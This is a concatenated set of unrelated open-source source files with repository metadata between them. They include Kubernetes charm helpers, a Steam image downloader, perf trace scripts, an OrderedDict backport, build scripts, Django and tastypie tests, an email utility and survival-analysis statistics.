os.path.join(root_cdk, csv_fname) if not os.path.isfile(tokens_fname): return None with open(tokens_fname, 'r') as stream: for line in stream: record = line.split(',') if record[1] == user: return record[0] return None def get_token(username): """Grab a token from the static file if present. """ return get_password('known_tokens.csv', username) def set_token(password, save_salt): ''' Store a token so it can be recalled later by token_generator. param: password - the password to be stored param: save_salt - the key to store the value of the token.''' db = unitdata.kv() db.set(save_salt, password) return db.get(save_salt) def token_generator(length=32): ''' Generate a random token for use in passwords and account tokens. param: length - the length of the token to generate''' alpha = string.ascii_letters + string.digits token = ''.join(random.SystemRandom().choice(alpha) for _ in range(length)) return token @retry(times=3, delay_secs=10) def all_kube_system_pods_running(): ''' Check pod status in the kube-system namespace. Returns True if all pods are running, False otherwise. ''' cmd = ['kubectl', 'get', 'po', '-n', 'kube-system', '-o', 'json'] try: output = check_output(cmd).decode('utf-8') except CalledProcessError: hookenv.log('failed to get kube-system pod status') return False result = json.loads(output) for pod in result['items']: status = pod['status']['phase'] if status != 'Running': return False return True def apiserverVersion(): cmd = 'kube-apiserver --version'.split() version_string = check_output(cmd).decode('utf-8') return tuple(int(q) for q in re.findall("[0-9]+", version_string)[:3])
apache-2.0
Codeusa/Steam-Grid-View-Image-Dumper
griddumper.py
1
1594
import sys import os.path from urllib2 import urlopen, HTTPError import time import re def get_app_ids(appstring): index = '"appid":' substring = 0 while True: substring = appstring.find(index, substring) if substring == -1: return pattern = re.compile('(\"appid":)([0-9]+)') match = pattern.match(appstring, substring) resolve = int(match.group(2)) substring += len(match.group()) yield resolve username = raw_input("Enter your steam profile username: ") profileURL = "http://steamcommunity.com/id/" + username + "/games?tab=all" stream = urlopen(profileURL) if stream is None: print("Stream produced nothing or did not load, failing obviously") sys.exit() try: os.mkdir("griddump") except OSError: pass app_ids = [] for line in stream: line = str(line) for appid in get_app_ids(line): app_ids.append(appid) for appid in app_ids: path = "griddump/" + str(appid) + ".png" ''' #_by using header.png you can grab other versions of the grid. #For example Modern Warfare produced a multiplayer grid icon. ''' profileURL = "http://cdn.steampowered.com/v/gfx/apps/" + str(appid) + "/header.jpg" if os.path.exists(path): print("Already saved this one, moving on. AppID: " + str(appid)) continue try: stream = urlopen(profileURL) except HTTPError: print("Can't stream URL " + str(appid)) continue f = open(path, 'wb') f.write(stream.read()) print("Downloading Grid for AppID: " + str(appid))
gpl-3.0
omnirom/android_kernel_samsung_tuna
tools/perf/scripts/python/Perf-Trace-Util/lib/Perf/Trace/SchedGui.py
12980
5411
# SchedGui.py - Python extension for perf script, basic GUI code for # traces drawing and overview. # # Copyright (C) 2010 by Frederic Weisbecker <[email protected]> # # This software is distributed under the terms of the GNU General # Public License ("GPL") version 2 as published by the Free Software # Foundation. try: import wx except ImportError: raise ImportError, "You need to install the wxpython lib for this script" class RootFrame(wx.Frame): Y_OFFSET = 100 RECT_HEIGHT = 100 RECT_SPACE = 50 EVENT_MARKING_WIDTH = 5 def __init__(self, sched_tracer, title, parent = None, id = -1): wx.Frame.__init__(self, parent, id, title) (self.screen_width, self.screen_height) = wx.GetDisplaySize() self.screen_width -= 10 self.screen_height -= 10 self.zoom = 0.5 self.scroll_scale = 20 self.sched_tracer = sched_tracer self.sched_tracer.set_root_win(self) (self.ts_start, self.ts_end) = sched_tracer.interval() self.update_width_virtual() self.nr_rects = sched_tracer.nr_rectangles() + 1 self.height_virtual = RootFrame.Y_OFFSET + (self.nr_rects * (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE)) # whole window panel self.panel = wx.Panel(self, size=(self.screen_width, self.screen_height)) # scrollable container self.scroll = wx.ScrolledWindow(self.panel) self.scroll.SetScrollbars(self.scroll_scale, self.scroll_scale, self.width_virtual / self.scroll_scale, self.height_virtual / self.scroll_scale) self.scroll.EnableScrolling(True, True) self.scroll.SetFocus() # scrollable drawing area self.scroll_panel = wx.Panel(self.scroll, size=(self.screen_width - 15, self.screen_height / 2)) self.scroll_panel.Bind(wx.EVT_PAINT, self.on_paint) self.scroll_panel.Bind(wx.EVT_KEY_DOWN, self.on_key_press) self.scroll_panel.Bind(wx.EVT_LEFT_DOWN, self.on_mouse_down) self.scroll.Bind(wx.EVT_PAINT, self.on_paint) self.scroll.Bind(wx.EVT_KEY_DOWN, self.on_key_press) self.scroll.Bind(wx.EVT_LEFT_DOWN, self.on_mouse_down) self.scroll.Fit() self.Fit() self.scroll_panel.SetDimensions(-1, -1, self.width_virtual, self.height_virtual, wx.SIZE_USE_EXISTING) self.txt = None self.Show(True) def us_to_px(self, val): return val / (10 ** 3) * self.zoom def px_to_us(self, val): return (val / self.zoom) * (10 ** 3) def scroll_start(self): (x, y) = self.scroll.GetViewStart() return (x * self.scroll_scale, y * self.scroll_scale) def scroll_start_us(self): (x, y) = self.scroll_start() return self.px_to_us(x) def paint_rectangle_zone(self, nr, color, top_color, start, end): offset_px = self.us_to_px(start - self.ts_start) width_px = self.us_to_px(end - self.ts_start) offset_py = RootFrame.Y_OFFSET + (nr * (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE)) width_py = RootFrame.RECT_HEIGHT dc = self.dc if top_color is not None: (r, g, b) = top_color top_color = wx.Colour(r, g, b) brush = wx.Brush(top_color, wx.SOLID) dc.SetBrush(brush) dc.DrawRectangle(offset_px, offset_py, width_px, RootFrame.EVENT_MARKING_WIDTH) width_py -= RootFrame.EVENT_MARKING_WIDTH offset_py += RootFrame.EVENT_MARKING_WIDTH (r ,g, b) = color color = wx.Colour(r, g, b) brush = wx.Brush(color, wx.SOLID) dc.SetBrush(brush) dc.DrawRectangle(offset_px, offset_py, width_px, width_py) def update_rectangles(self, dc, start, end): start += self.ts_start end += self.ts_start self.sched_tracer.fill_zone(start, end) def on_paint(self, event): dc = wx.PaintDC(self.scroll_panel) self.dc = dc width = min(self.width_virtual, self.screen_width) (x, y) = self.scroll_start() start = self.px_to_us(x) end = self.px_to_us(x + width) self.update_rectangles(dc, start, end) def rect_from_ypixel(self, y): y -= RootFrame.Y_OFFSET rect = y / (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE) height = y % (RootFrame.RECT_HEIGHT + RootFrame.RECT_SPACE) if rect < 0 or rect > self.nr_rects - 1 or height > RootFrame.RECT_HEIGHT: return -1 return rect def update_summary(self, txt): if self.txt: self.txt.Destroy() self.txt = wx.StaticText(self.panel, -1, txt, (0, (self.screen_height / 2) + 50)) def on_mouse_down(self, event): (x, y) = event.GetPositionTuple() rect = self.rect_from_ypixel(y) if rect == -1: return t = self.px_to_us(x) + self.ts_start self.sched_tracer.mouse_down(rect, t) def update_width_virtual(self): self.width_virtual = self.us_to_px(self.ts_end - self.ts_start) def __zoom(self, x): self.update_width_virtual() (xpos, ypos) = self.scroll.GetViewStart() xpos = self.us_to_px(x) / self.scroll_scale self.scroll.SetScrollbars(self.scroll_scale, self.scroll_scale, self.width_virtual / self.scroll_scale, self.height_virtual / self.scroll_scale, xpos, ypos) self.Refresh() def zoom_in(self): x = self.scroll_start_us() self.zoom *= 2 self.__zoom(x) def zoom_out(self): x = self.scroll_start_us() self.zoom /= 2 self.__zoom(x) def on_key_press(self, event): key = event.GetRawKeyCode() if key == ord("+"): self.zoom_in() return if key == ord("-"): self.zoom_out() return key = event.GetKeyCode() (x, y) = self.scroll.GetViewStart() if key == wx.WXK_RIGHT: self.scroll.Scroll(x + 1, y) elif key == wx.WXK_LEFT: self.scroll.Scroll(x - 1, y) elif key == wx.WXK_DOWN: self.scroll.Scroll(x, y + 1) elif key == wx.WXK_UP: self.scroll.Scroll(x, y - 1)
gpl-2.0
jmwright/cadquery-freecad-module
Libs/urllib3/packages/ordered_dict.py
2040
8935
# Backport of OrderedDict() class that runs on Python 2.4, 2.5, 2.6, 2.7 and pypy. # Passes Python2.7's test suite and incorporates all the latest updates. # Copyright 2009 Raymond Hettinger, released under the MIT License. # http://code.activestate.com/recipes/576693/ try: from thread import get_ident as _get_ident except ImportError: from dummy_thread import get_ident as _get_ident try: from _abcoll import KeysView, ValuesView, ItemsView except ImportError: pass class OrderedDict(dict): 'Dictionary that remembers insertion order' # An inherited dict maps keys to values. # The inherited dict provides __getitem__, __len__, __contains__, and get. # The remaining methods are order-aware. # Big-O running times for all methods are the same as for regular dictionaries. # The internal self.__map dictionary maps keys to links in a doubly linked list. # The circular doubly linked list starts and ends with a sentinel element. # The sentinel element never gets deleted (this simplifies the algorithm). # Each link is stored as a list of length three: [PREV, NEXT, KEY]. def __init__(self, *args, **kwds): '''Initialize an ordered dictionary. Signature is the same as for regular dictionaries, but keyword arguments are not recommended because their insertion order is arbitrary. ''' if len(args) > 1: raise TypeError('expected at most 1 arguments, got %d' % len(args)) try: self.__root except AttributeError: self.__root = root = [] # sentinel node root[:] = [root, root, None] self.__map = {} self.__update(*args, **kwds) def __setitem__(self, key, value, dict_setitem=dict.__setitem__): 'od.__setitem__(i, y) <==> od[i]=y' # Setting a new item creates a new link which goes at the end of the linked # list, and the inherited dictionary is updated with the new key/value pair. if key not in self: root = self.__root last = root[0] last[1] = root[0] = self.__map[key] = [last, root, key] dict_setitem(self, key, value) def __delitem__(self, key, dict_delitem=dict.__delitem__): 'od.__delitem__(y) <==> del od[y]' # Deleting an existing item uses self.__map to find the link which is # then removed by updating the links in the predecessor and successor nodes. dict_delitem(self, key) link_prev, link_next, key = self.__map.pop(key) link_prev[1] = link_next link_next[0] = link_prev def __iter__(self): 'od.__iter__() <==> iter(od)' root = self.__root curr = root[1] while curr is not root: yield curr[2] curr = curr[1] def __reversed__(self): 'od.__reversed__() <==> reversed(od)' root = self.__root curr = root[0] while curr is not root: yield curr[2] curr = curr[0] def clear(self): 'od.clear() -> None. Remove all items from od.' try: for node in self.__map.itervalues(): del node[:] root = self.__root root[:] = [root, root, None] self.__map.clear() except AttributeError: pass dict.clear(self) def popitem(self, last=True): '''od.popitem() -> (k, v), return and remove a (key, value) pair. Pairs are returned in LIFO order if last is true or FIFO order if false. ''' if not self: raise KeyError('dictionary is empty') root = self.__root if last: link = root[0] link_prev = link[0] link_prev[1] = root root[0] = link_prev else: link = root[1] link_next = link[1] root[1] = link_next link_next[0] = root key = link[2] del self.__map[key] value = dict.pop(self, key) return key, value # -- the following methods do not depend on the internal structure -- def keys(self): 'od.keys() -> list of keys in od' return list(self) def values(self): 'od.values() -> list of values in od' return [self[key] for key in self] def items(self): 'od.items() -> list of (key, value) pairs in od' return [(key, self[key]) for key in self] def iterkeys(self): 'od.iterkeys() -> an iterator over the keys in od' return iter(self) def itervalues(self): 'od.itervalues -> an iterator over the values in od' for k in self: yield self[k] def iteritems(self): 'od.iteritems -> an iterator over the (key, value) items in od' for k in self: yield (k, self[k]) def update(*args, **kwds): '''od.update(E, **F) -> None. Update od from dict/iterable E and F. If E is a dict instance, does: for k in E: od[k] = E[k] If E has a .keys() method, does: for k in E.keys(): od[k] = E[k] Or if E is an iterable of items, does: for k, v in E: od[k] = v In either case, this is followed by: for k, v in F.items(): od[k] = v ''' if len(args) > 2: raise TypeError('update() takes at most 2 positional ' 'arguments (%d given)' % (len(args),)) elif not args: raise TypeError('update() takes at least 1 argument (0 given)') self = args[0] # Make progressively weaker assumptions about "other" other = () if len(args) == 2: other = args[1] if isinstance(other, dict): for key in other: self[key] = other[key] elif hasattr(other, 'keys'): for key in other.keys(): self[key] = other[key] else: for key, value in other: self[key] = value for key, value in kwds.items(): self[key] = value __update = update # let subclasses override update without breaking __init__ __marker = object() def pop(self, key, default=__marker): '''od.pop(k[,d]) -> v, remove specified key and return the corresponding value. If key is not found, d is returned if given, otherwise KeyError is raised. ''' if key in self: result = self[key] del self[key] return result if default is self.__marker: raise KeyError(key) return default def setdefault(self, key, default=None): 'od.setdefault(k[,d]) -> od.get(k,d), also set od[k]=d if k not in od' if key in self: return self[key] self[key] = default return default def __repr__(self, _repr_running={}): 'od.__repr__() <==> repr(od)' call_key = id(self), _get_ident() if call_key in _repr_running: return '...' _repr_running[call_key] = 1 try: if not self: return '%s()' % (self.__class__.__name__,) return '%s(%r)' % (self.__class__.__name__, self.items()) finally: del _repr_running[call_key] def __reduce__(self): 'Return state information for pickling' items = [[k, self[k]] for k in self] inst_dict = vars(self).copy() for k in vars(OrderedDict()): inst_dict.pop(k, None) if inst_dict: return (self.__class__, (items,), inst_dict) return self.__class__, (items,) def copy(self): 'od.copy() -> a shallow copy of od' return self.__class__(self) @classmethod def fromkeys(cls, iterable, value=None): '''OD.fromkeys(S[, v]) -> New ordered dictionary with keys from S and values equal to v (which defaults to None). ''' d = cls() for key in iterable: d[key] = value return d def __eq__(self, other): '''od.__eq__(y) <==> od==y. Comparison to another OD is order-sensitive while comparison to a regular mapping is order-insensitive. ''' if isinstance(other, OrderedDict): return len(self)==len(other) and self.items() == other.items() return dict.__eq__(self, other) def __ne__(self, other): return not self == other # -- the following methods are only used in Python 2.7 -- def viewkeys(self): "od.viewkeys() -> a set-like object providing a view on od's keys" return KeysView(self) def viewvalues(self): "od.viewvalues() -> an object providing a view on od's values" return ValuesView(self) def viewitems(self): "od.viewitems() -> a set-like object providing a view on od's items" return ItemsView(self)
lgpl-3.0
jyi/ITSP
prophet-gpl/crawler/python-github3-master/setup.py
6
1203
#!/usr/bin/env python # -*- encoding: utf-8 -*- from os.path import join from setuptools import setup, find_packages import pygithub3 # Odd hack to get 'python setup.py test' working on py2.7 try: import multiprocessing import logging except ImportError: pass setup( name=pygithub3.__name__, version=pygithub3.__version__, author=pygithub3.__author__, author_email=pygithub3.__email__, url='https://github.com/copitux/python-github3', description='Python wrapper for the github v3 api', long_description=open('README.rst').read(), license='ISC', packages=find_packages(exclude=['*tests*']), test_suite='nose.collector', tests_require=[ 'nose', 'mock', ], install_requires=map(str.strip, open(join('requirements', 'base.txt'))), include_package_data=True, classifiers=( 'Programming Language :: Python', 'Programming Language :: Python :: 2.6', 'Programming Language :: Python :: 2.7', 'License :: OSI Approved :: ISC License (ISCL)', 'Operating System :: OS Independent', 'Development Status :: 2 - Pre-Alpha', 'Intended Audience :: Developers', ), )
mit
xianggong/m2c_unit_test
test/integer/rhadd_ulong2ulong2/compile.py
1861
4430
#!/usr/bin/python import os import subprocess import re def runCommand(command): p = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.STDOUT) p.wait() return iter(p.stdout.readline, b'') def dumpRunCommand(command, dump_file_name, postfix): dumpFile = open(dump_file_name + postfix, "w+") dumpFile.write(command + "\n") for line in runCommand(command.split()): dumpFile.write(line) def rmFile(file_name): cmd = "rm -rf " + file_name runCommand(cmd.split()) def rnm_ir(file_name): # Append all unnamed variable with prefix 'tmp_' ir_file_name = file_name + ".ll" if os.path.isfile(ir_file_name): fo = open(ir_file_name, "rw+") lines = fo.readlines() fo.seek(0) fo.truncate() for line in lines: # Add entry block identifier if "define" in line: line += "entry:\n" # Rename all unnamed variables line = re.sub('\%([0-9]+)', r'%tmp_\1', line.rstrip()) # Also rename branch name line = re.sub('(\;\ \<label\>\:)([0-9]+)', r'tmp_\2:', line.rstrip()) fo.write(line + '\n') def gen_ir(file_name): # Directories root_dir = '../../../' header_dir = root_dir + "inc/" # Headers header = " -I " + header_dir header += " -include " + header_dir + "m2c_buildin_fix.h " header += " -include " + header_dir + "clc/clc.h " header += " -D cl_clang_storage_class_specifiers " gen_ir = "clang -S -emit-llvm -O0 -target r600-- -mcpu=verde " cmd_gen_ir = gen_ir + header + file_name + ".cl" dumpRunCommand(cmd_gen_ir, file_name, ".clang.log") def asm_ir(file_name): if os.path.isfile(file_name + ".ll"): # Command to assemble IR to bitcode gen_bc = "llvm-as " gen_bc_src = file_name + ".ll" gen_bc_dst = file_name + ".bc" cmd_gen_bc = gen_bc + gen_bc_src + " -o " + gen_bc_dst runCommand(cmd_gen_bc.split()) def opt_bc(file_name): if os.path.isfile(file_name + ".bc"): # Command to optmize bitcode opt_bc = "opt --mem2reg " opt_ir_src = file_name + ".bc" opt_ir_dst = file_name + ".opt.bc" cmd_opt_bc = opt_bc + opt_ir_src + " -o " + opt_ir_dst runCommand(cmd_opt_bc.split()) def dis_bc(file_name): if os.path.isfile(file_name + ".bc"): # Command to disassemble bitcode dis_bc = "llvm-dis " dis_ir_src = file_name + ".opt.bc" dis_ir_dst = file_name + ".opt.ll" cmd_dis_bc = dis_bc + dis_ir_src + " -o " + dis_ir_dst runCommand(cmd_dis_bc.split()) def m2c_gen(file_name): if os.path.isfile(file_name + ".opt.bc"): # Command to disassemble bitcode m2c_gen = "m2c --llvm2si " m2c_gen_src = file_name + ".opt.bc" cmd_m2c_gen = m2c_gen + m2c_gen_src dumpRunCommand(cmd_m2c_gen, file_name, ".m2c.llvm2si.log") # Remove file if size is 0 if os.path.isfile(file_name + ".opt.s"): if os.path.getsize(file_name + ".opt.s") == 0: rmFile(file_name + ".opt.s") def m2c_bin(file_name): if os.path.isfile(file_name + ".opt.s"): # Command to disassemble bitcode m2c_bin = "m2c --si2bin " m2c_bin_src = file_name + ".opt.s" cmd_m2c_bin = m2c_bin + m2c_bin_src dumpRunCommand(cmd_m2c_bin, file_name, ".m2c.si2bin.log") def main(): # Commands for file in os.listdir("./"): if file.endswith(".cl"): file_name = os.path.splitext(file)[0] # Execute commands gen_ir(file_name) rnm_ir(file_name) asm_ir(file_name) opt_bc(file_name) dis_bc(file_name) m2c_gen(file_name) m2c_bin(file_name) if __name__ == "__main__": main()
gpl-2.0
carsongee/edx-platform
common/djangoapps/config_models/__init__.py
220
2002
""" Model-Based Configuration ========================= This app allows other apps to easily define a configuration model that can be hooked into the admin site to allow configuration management with auditing. Installation ------------ Add ``config_models`` to your ``INSTALLED_APPS`` list. Usage ----- Create a subclass of ``ConfigurationModel``, with fields for each value that needs to be configured:: class MyConfiguration(ConfigurationModel): frobble_timeout = IntField(default=10) frazzle_target = TextField(defalut="debug") This is a normal django model, so it must be synced and migrated as usual. The default values for the fields in the ``ConfigurationModel`` will be used if no configuration has yet been created. Register that class with the Admin site, using the ``ConfigurationAdminModel``:: from django.contrib import admin from config_models.admin import ConfigurationModelAdmin admin.site.register(MyConfiguration, ConfigurationModelAdmin) Use the configuration in your code:: def my_view(self, request): config = MyConfiguration.current() fire_the_missiles(config.frazzle_target, timeout=config.frobble_timeout) Use the admin site to add new configuration entries. The most recently created entry is considered to be ``current``. Configuration ------------- The current ``ConfigurationModel`` will be cached in the ``configuration`` django cache, or in the ``default`` cache if ``configuration`` doesn't exist. You can specify the cache timeout in each ``ConfigurationModel`` by setting the ``cache_timeout`` property. You can change the name of the cache key used by the ``ConfigurationModel`` by overriding the ``cache_key_name`` function. Extension --------- ``ConfigurationModels`` are just django models, so they can be extended with new fields and migrated as usual. Newly added fields must have default values and should be nullable, so that rollbacks to old versions of configuration work correctly. """
agpl-3.0
sjsucohort6/openstack
python/venv/lib/python2.7/site-packages/wheel/test/test_signatures.py
565
1120
from wheel import signatures from wheel.signatures import djbec, ed25519py from wheel.util import binary def test_getlib(): signatures.get_ed25519ll() def test_djbec(): djbec.dsa_test() djbec.dh_test() def test_ed25519py(): kp0 = ed25519py.crypto_sign_keypair(binary(' '*32)) kp = ed25519py.crypto_sign_keypair() signed = ed25519py.crypto_sign(binary('test'), kp.sk) ed25519py.crypto_sign_open(signed, kp.vk) try: ed25519py.crypto_sign_open(signed, kp0.vk) except ValueError: pass else: raise Exception("Expected ValueError") try: ed25519py.crypto_sign_keypair(binary(' '*33)) except ValueError: pass else: raise Exception("Expected ValueError") try: ed25519py.crypto_sign(binary(''), binary(' ')*31) except ValueError: pass else: raise Exception("Expected ValueError") try: ed25519py.crypto_sign_open(binary(''), binary(' ')*31) except ValueError: pass else: raise Exception("Expected ValueError")
mit
JoeGlancy/linux
tools/perf/scripts/python/futex-contention.py
1997
1508
# futex contention # (c) 2010, Arnaldo Carvalho de Melo <[email protected]> # Licensed under the terms of the GNU GPL License version 2 # # Translation of: # # http://sourceware.org/systemtap/wiki/WSFutexContention # # to perf python scripting. # # Measures futex contention import os, sys sys.path.append(os.environ['PERF_EXEC_PATH'] + '/scripts/python/Perf-Trace-Util/lib/Perf/Trace') from Util import * process_names = {} thread_thislock = {} thread_blocktime = {} lock_waits = {} # long-lived stats on (tid,lock) blockage elapsed time process_names = {} # long-lived pid-to-execname mapping def syscalls__sys_enter_futex(event, ctxt, cpu, s, ns, tid, comm, callchain, nr, uaddr, op, val, utime, uaddr2, val3): cmd = op & FUTEX_CMD_MASK if cmd != FUTEX_WAIT: return # we don't care about originators of WAKE events process_names[tid] = comm thread_thislock[tid] = uaddr thread_blocktime[tid] = nsecs(s, ns) def syscalls__sys_exit_futex(event, ctxt, cpu, s, ns, tid, comm, callchain, nr, ret): if thread_blocktime.has_key(tid): elapsed = nsecs(s, ns) - thread_blocktime[tid] add_stats(lock_waits, (tid, thread_thislock[tid]), elapsed) del thread_blocktime[tid] del thread_thislock[tid] def trace_begin(): print "Press control+C to stop and show the summary" def trace_end(): for (tid, lock) in lock_waits: min, max, avg, count = lock_waits[tid, lock] print "%s[%d] lock %x contended %d times, %d avg ns" % \ (process_names[tid], tid, lock, count, avg)
gpl-2.0
VishvajitP/django-tastypie
tests/namespaced/tests.py
11
1284
from django.conf import settings from django.core.urlresolvers import reverse, NoReverseMatch from django.http import HttpRequest from django.test import TestCase from django.utils import simplejson as json class NamespacedViewsTestCase(TestCase): urls = 'namespaced.api.urls' def test_urls(self): from namespaced.api.urls import api patterns = api.urls self.assertEqual(len(patterns), 3) self.assertEqual(sorted([pattern.name for pattern in patterns if hasattr(pattern, 'name')]), ['api_v1_top_level']) self.assertEqual([[pattern.name for pattern in include.url_patterns if hasattr(pattern, 'name')] for include in patterns if hasattr(include, 'reverse_dict')], [['api_dispatch_list', 'api_get_schema', 'api_get_multiple', 'api_dispatch_detail'], ['api_dispatch_list', 'api_get_schema', 'api_get_multiple', 'api_dispatch_detail']]) self.assertRaises(NoReverseMatch, reverse, 'api_v1_top_level') self.assertRaises(NoReverseMatch, reverse, 'special:api_v1_top_level') self.assertEquals(reverse('special:api_v1_top_level', kwargs={'api_name': 'v1'}), '/api/v1/') self.assertEquals(reverse('special:api_dispatch_list', kwargs={'api_name': 'v1', 'resource_name': 'notes'}), '/api/v1/notes/')
bsd-3-clause
ric2b/Vivaldi-browser
chromium/chrome/common/extensions/docs/examples/apps/hello-python/oauth2/clients/smtp.py
884
1680
""" The MIT License Copyright (c) 2007-2010 Leah Culver, Joe Stump, Mark Paschal, Vic Fryzel Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ import oauth2 import smtplib import base64 class SMTP(smtplib.SMTP): """SMTP wrapper for smtplib.SMTP that implements XOAUTH.""" def authenticate(self, url, consumer, token): if consumer is not None and not isinstance(consumer, oauth2.Consumer): raise ValueError("Invalid consumer.") if token is not None and not isinstance(token, oauth2.Token): raise ValueError("Invalid token.") self.docmd('AUTH', 'XOAUTH %s' % \ base64.b64encode(oauth2.build_xoauth_string(url, consumer, token)))
bsd-3-clause
edushifts/book-voyage
bookvoyage-backend/core/mail/__init__.py
1
3852
""" Tools for sending email. """ # Import utilities from django.template.loader import render_to_string from django.utils.encoding import force_bytes, force_text from django.contrib.auth.tokens import default_token_generator from django.core.mail import send_mail from django.utils.http import urlsafe_base64_encode # Import environment variables from bookvoyage.settings import HOST_FRONTEND, PASSWORD_RESET_LINK, DEFAULT_FROM_EMAIL, JOURNEY_LINK # Define logger import logging logger = logging.getLogger('MailUtil') def send_owner_invitation(user): """ Sends user an invitation e-mail that includes a password reset link. Adapted from https://github.com/pennersr/django-allauth/blob/master/allauth/account/forms.py """ user_email = user.email # Generate password reset token token_generator = default_token_generator temp_key = token_generator.make_token(user) url = HOST_FRONTEND + PASSWORD_RESET_LINK\ + force_text(urlsafe_base64_encode((force_bytes(user.id)))) + "-" + temp_key msg_plain = render_to_string('owner_invitation.txt', {'platformUrl': url}) msg_html = render_to_string('owner_invitation.html', {'platformUrl': url}) send_mail( 'Welcome to EDUshifts Book Voyage!', msg_plain, DEFAULT_FROM_EMAIL, [user_email], html_message=msg_html, ) logger.info("Owner Invitation sent to: " + user_email) def send_password_reset(user): """ Sends user an invitation e-mail that includes a password reset link. Adapted from https://github.com/pennersr/django-allauth/blob/master/allauth/account/forms.py """ user_email = user.email # Generate password reset token token_generator = default_token_generator temp_key = token_generator.make_token(user) url = HOST_FRONTEND + PASSWORD_RESET_LINK\ + force_text(urlsafe_base64_encode((force_bytes(user.id)))) + "-" + temp_key msg_plain = render_to_string('password-reset.txt', {'platformUrl': url}) msg_html = render_to_string('password_reset.html', {'platformUrl': url}) send_mail( 'EDUshifts Book Voyage password reset', msg_plain, DEFAULT_FROM_EMAIL, [user_email], html_message=msg_html, ) logger.info("Password reset sent to: " + user_email) def send_holder_welcome(user, book): """ Sends holder a thank-you e-mail for having registered a book, and send them a link to the public journey. """ user_email = user.email book_id = book.id url = HOST_FRONTEND + JOURNEY_LINK + str(book_id) msg_plain = render_to_string('holder_welcome.txt', {'platformUrl': url}) msg_html = render_to_string('holder_welcome.html', {'platformUrl': url}) send_mail( 'Welcome to EDUshifts Book Voyage!', msg_plain, DEFAULT_FROM_EMAIL, [user_email], html_message=msg_html, ) logger.info("Holder welcome sent to: " + user_email) def send_book_update_mass(users, book): """ Performs send_book_update() for multiple users. TODO: implement send_mass_mail() """ for user in users: send_book_update(user, book) logger.info("Book updates were sent") def send_book_update(user, book): """ Sends single holder an update on the latest book location, and send them a link to the public journey. """ user_email = user.email user_name = user.first_name book_id = book.id url = HOST_FRONTEND + JOURNEY_LINK + str(book_id) msg_plain = render_to_string('book_update.txt', {'platformUrl': url, 'username': user_name}) msg_html = render_to_string('book_update.html', {'platformUrl': url, 'username': user_name}) send_mail( 'Book Voyage Update', msg_plain, DEFAULT_FROM_EMAIL, [user_email], html_message=msg_html, )
gpl-3.0
spacecowboy/article-annriskgroups-source
stats.py
1
3897
# -*- coding: utf-8 -*- import numpy as np def surv_area(durations, events=None, absolute=False): ''' Parameters: durations - array of event times (must be greater than zero) events - array of event indicators (1/True for event, 0/False for censored) absolute - if True, returns the actual area. Otherwise, a relative value between 0 and 1 Returns: area - The area under the survival curve ''' if events is None: events = np.ones_like(durations, dtype=bool) events = events.astype(bool) # Unique event times TU = np.sort(np.unique(durations[events])) # Starting values S = 1.0 A = 0.0 p = 0 for t in TU: # Add box to area A += S * (t - p) # People at risk R = np.sum(durations >= t) # Deaths between previous and now deaths = np.sum(durations[events] == t) # Update survival S *= (R - deaths) / R p = t # If we have censored beyond last event A += S * (np.max(durations) - p) if not absolute: A /= np.max(durations) return A def k_fold_cross_validation(fitters, df, duration_col, event_col=None, k=5, evaluation_measure=None, predictor="predict_median", predictor_kwargs={}): """ Perform cross validation on a dataset. fitter: A list of fitters. They will all train on the same subsets. df: a Pandas dataframe with necessary columns `duration_col` and `event_col`, plus other covariates. `duration_col` refers to the lifetimes of the subjects. `event_col` refers to whether the 'death' events was observed: 1 if observed, 0 else (censored). duration_col: the column in dataframe that contains the subjects lifetimes. event_col: the column in dataframe that contains the subject's death observation. If left as None, assumes all individuals are non-censored. k: the number of folds to perform. n/k data will be withheld for testing on. evaluation_measure: a function that accepts either (event_times, predicted_event_times), or (event_times, predicted_event_times, event_observed) and returns a scalar value. Default: statistics.concordance_index: (C-index) between two series of event times predictor: a string that matches a prediction method on the fitter instances. For example, "predict_expectation" or "predict_percentile". Default is "predict_median" predictor_kwargs: keyward args to pass into predictor. Returns: k-length list of scores for each fold. """ n, d = df.shape # Each fitter has its own scores fitterscores = [[] for _ in fitters] if event_col is None: event_col = 'E' df[event_col] = 1. # reindex returns a copy df = df.reindex(np.random.permutation(df.index)) df.sort(event_col, inplace=True) assignments = np.array((n // k + 1) * list(range(1, k + 1))) assignments = assignments[:n] testing_columns = df.columns - [duration_col, event_col] for i in range(1, k + 1): ix = assignments == i training_data = df.ix[~ix] testing_data = df.ix[ix] T_actual = testing_data[duration_col].values E_actual = testing_data[event_col].values X_testing = testing_data[testing_columns] for fitter, scores in zip(fitters, fitterscores): # fit the fitter to the training data fitter.fit(training_data, duration_col=duration_col, event_col=event_col) T_pred = getattr(fitter, predictor)(X_testing, **predictor_kwargs).values try: scores.append(evaluation_measure(T_actual, T_pred, E_actual)) except TypeError: scores.append(evaluation_measure(T_actual, T_pred)) return fitterscores
gpl-3.0
trungnt13/scikit-learn
examples/linear_model/plot_ols.py
220
1940
